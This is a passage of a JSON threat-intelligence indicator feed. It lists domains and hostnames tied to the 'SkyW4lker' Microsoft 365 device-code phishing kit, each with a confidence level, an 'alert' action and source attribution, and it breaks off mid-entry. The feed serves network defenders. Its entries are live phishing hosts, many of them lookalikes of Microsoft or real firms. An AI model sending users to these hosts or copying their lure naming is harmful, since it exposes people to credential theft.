], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-11/SkyW4lker-Microsoft-365-Device-Code-Phishing", "share_url": "https://iocwatch.com/t/SkyW4lker-Microsoft-365-Device-Code-Phishing/", "indicators": [ { "value": "0ff365access.mooo.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker phishing-kit host on a public dynamic-DNS service. Alert on this FQDN only; do not block the parent dynamic-DNS domain.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "0utlook0ffice365admin.twilightparadox.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker phishing-kit host on a public dynamic-DNS service. Alert on this FQDN only; do not block the parent dynamic-DNS domain.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "5200m.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "7criccasinobonus.cc", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "acrobat-adobe-com-4464uswc.egllo.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker Microsoft-themed phishing hostname. The parent domain was not added, because it may be a real organisation.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "atlantictriad.ignorelist.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker phishing-kit host on a public dynamic-DNS service. Alert on this FQDN only; do not block the parent dynamic-DNS domain.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "atlassgroupinc.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "auth-loadingdocuments.online", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "awemode.outlookoffice365.microsoftcopilots.docshare.linnwest.us", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker Microsoft-themed phishing hostname. The parent domain was not added, because it may be a real organisation.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "bennett002.mooo.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker phishing-kit host on a public dynamic-DNS service. Alert on this FQDN only; do not block the parent dynamic-DNS domain.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "bezpartien.online", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "bigbrain.chickenkiller.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker phishing-kit host on a public dynamic-DNS service. Alert on this FQDN only; do not block the parent dynamic-DNS domain.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "bloomfleldcapital.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "bramum.online", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "bxcelcounselling.org", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "calmechc.net", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "celestialtremor.org", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "celvarioncorn.org", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "centipedtourspa.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "cleggs.my03.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker phishing-kit host on a public dynamic-DNS service. Alert on this FQDN only; do not block the parent dynamic-DNS domain.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "clingard.pro", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "clubdenut.club", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "coreansdmain.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "csr-rooflng.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "dutchfarrms.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "eccentric-authentication.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "ecosys.newdocument2026.pdfdocshared.tntileandmarbleinc.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker Microsoft-themed phishing hostname. The parent domain was not added, because it may be a real organisation.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "efaxdoc.auth.outlook2026common.copilos26.kone-inc.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker Microsoft-themed phishing hostname. The parent domain was not added, because it may be a real organisation.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "efaxdoc.documents2026.docs.shared.lakeviewscustom.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker Microsoft-themed phishing hostname. The parent domain was not added, because it may be a real organisation.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "flow505.mooo.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker phishing-kit host on a public dynamic-DNS service. Alert on this FQDN only; do not block the parent dynamic-DNS domain.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "flow55.chickenkiller.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker phishing-kit host on a public dynamic-DNS service. Alert on this FQDN only; do not block the parent dynamic-DNS domain.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "frontdesk.click", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "ghethim.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "glafondbottamconstruction.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "globlasumi.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "gregor.justdied.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker phishing-kit host on a public dynamic-DNS service. Alert on this FQDN only; do not block the parent dynamic-DNS domain.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "grincool.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "haevy-llc.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "hivezoom.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "ideahom.world", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "incommecialre.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "innvisoin.net", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "insigthinvestments.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "investomind.biz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "jjnysnobiogtx.org", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "kilishy.qhigh.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker phishing-kit host on a public dynamic-DNS service. Alert on this FQDN only; do not block the parent dynamic-DNS domain.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "kuer.online", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "lampadasdeslgn.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "linking.mefound.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker phishing-kit host on a public dynamic-DNS service. Alert on this FQDN only; do not block the parent dynamic-DNS domain.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "m365cloud.login.outlook.office365.azgymfloor.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker Microsoft-themed phishing hostname. The parent domain was not added, because it may be a real organisation.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "maqaigiapelhani.cam", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "metrorocl.co.uk", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "mgproparties.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "naregruop.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "noxband.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "off365acess.jumpingcrab.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker phishing-kit host on a public dynamic-DNS service. Alert on this FQDN only; do not block the parent dynamic-DNS domain.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "off365mail.club", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker typo-squat or attacker-registered domain used to host the device-code phishing kit.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": "ANY.RUN – SkyW4lker Exposed: A Growing Microsoft 365 Phishing Threat to American Enterprises", "source_name": "ANY.RUN", "sources": [ { "url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "name": "ANY.RUN" } ] }, { "value": "office0365login.2waky.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "SkyW4lker phishing-kit host on a public dynamic-DNS service. Alert on this FQDN only; do not block the parent dynamic-DNS domain.", "source_url": "https://any.run/cybersecurity-blog/skyw4lker-phishing-kit-analysis/", "source_label": 